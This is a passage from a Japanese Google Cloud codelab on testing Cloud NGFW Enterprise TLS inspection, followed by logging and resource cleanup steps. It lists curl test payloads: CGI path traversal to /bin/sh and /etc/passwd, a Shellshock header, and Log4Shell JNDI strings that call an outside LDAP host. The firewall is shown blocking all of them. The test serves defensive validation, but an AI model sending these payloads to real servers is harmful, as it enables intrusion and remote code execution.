Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
悪意のあるテスト トラフィックをサーバーに送信します。
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
予想される出力:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
以下の想定される出力に従って、レスポンスが受信されません。これは、サンプル攻撃が E/W でブロックされていることを確認します。
13. ロギング
Cloud コンソールで [ロギング] > [ログ エクスプローラ] に移動し、次のフィルタを入力してログをクエリします。[PROJECT_ID] は実際の project_id に置き換えます。
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Cloud NGFW Enterprise のログエントリは、次のように表示されます。
ログエントリを開き、クライアント VM からサーバーに送信された攻撃が検出されてブロックされたことを確認します(下のスクリーンショットにある Apache Log4j リモート コード実行の脆弱性)。
TLS インスペクションを備えた Cloud NGFW Enterprise を正常にデプロイし、悪意のあるリクエストをブロックできました。
クリーンアップの手順については、次のセクションに進んでください。
14. クリーンアップ手順
ベース設定のクリーンアップ
インスタンスを削除します。
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
tagAdmin ロールと tagUsers ロールが変更された場合は、次の手順を実施します。
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
タグキーと値を削除します。
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud ファイアウォール ネットワーク ポリシーと関連付けを削除します。
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router と Cloud NAT を削除します。
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
予約済みの IP アドレスを削除します。
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall SPG、関連付け、TLS のクリーンアップ
セキュリティ プロファイル グループと脅威プロファイルを次の順序で削除します。
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Cloud Firewall エンドポイントの関連付けを削除します。
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Cloud Firewall エンドポイントを削除します。これには 20 分ほどかかります。
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
必要に応じて、次のコマンドを実行して、Cloud NGFW エンドポイントが削除されたことを確認します。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
エンドポイントの状態は次のようになります。
STATE: DELETING
完了すると、エンドポイントはリストに表示されなくなります。
TLS ポリシーと信頼構成を次の順序で削除します。
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
ルート CA と CA プールを無効にして削除します。
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
サブネットと VPC のクリーンアップ
最後に、サブネットと VPC ネットワークを削除します。
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. 完了
これで、Cloud NGFW Enterprise の東西間と北向きの TLS インスペクションの Codelab は終了です。